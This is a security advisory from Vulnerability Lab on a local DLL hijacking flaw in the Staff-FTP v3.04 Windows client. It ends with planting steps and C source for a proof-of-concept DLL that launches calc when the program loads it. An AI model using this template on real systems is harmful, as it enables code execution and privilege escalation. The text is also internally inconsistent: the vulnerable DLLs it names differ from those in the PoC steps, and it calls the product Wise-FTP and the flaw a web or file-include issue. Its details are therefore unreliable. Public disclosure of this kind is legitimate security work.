Staff FTP v3.04 Software - DLL Hijacking Vulnerability

Document Title:
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Staff FTP v3.04 Software - DLL Hijacking Vulnerability


References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=1499


Release Date:
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2015-05-19


Vulnerability Laboratory ID (VL-ID):
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1499


Common Vulnerability Scoring System:
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6


Product & Service Introduction:
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Staff-FTP is an ftp-client which uses the common File-Transfer-Protocol to upload or download files from/to the internet. Among the standard options like
up/download, query, sitemanager, browseable windows and almost every other options you will find in other ftp-clients, you will get some special options like.

(Copy of the Homepage: http://www.gsa-online.de/products-staffftp.php)


Abstract Advisory Information:
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An independent vulnerability laboratory researcher discovered a local dll hijacking vulnerability in the official Staff-FTP v3.04 software.


Vulnerability Disclosure Timeline:
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2015-05-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
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Published


Affected Product(s):
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GSA
Product: Staff FTP - Software 3.04


Exploitation Technique:
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Local


Severity Level:
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High


Technical Details & Description:
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A local dll injection vulnerability has been discovered in the official Staff-FTP v3.04 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

The windows software is vulnerable to dll hijacking attacks. The vulnerability is located in the netapi32.dll and dwmapi.dll file extensions.
The software does not specify the fully qualified path to a dynamic-linked libraries (netapi32.dll and dwmapi.dll). The vulnerable version affects
the Wise-FTP v3.04 software. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability
scoring system) count of 6.0.

Vulnerable Software:
[+] Staff-FTP

Vulnerable Version(s):
[+] v3.04

Vulnerable Libraries:
[+] netapi32.dll
[+] dwmapi.dll


Proof of Concept (PoC):
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The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to Linkinfo.dll or mpr.dll
2. Copy Linkinfo.dll to C:\Program Files\Staff-FTP
3. Launch Staff-FTP

PoC: Exploit
#include <windows.h>

int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}


Security Risk:
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The security risk of the local dll inject web vulnerability in the wise ftp software is estimated as high. (CVSS 6.0)


Credits & Authors:
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metacom


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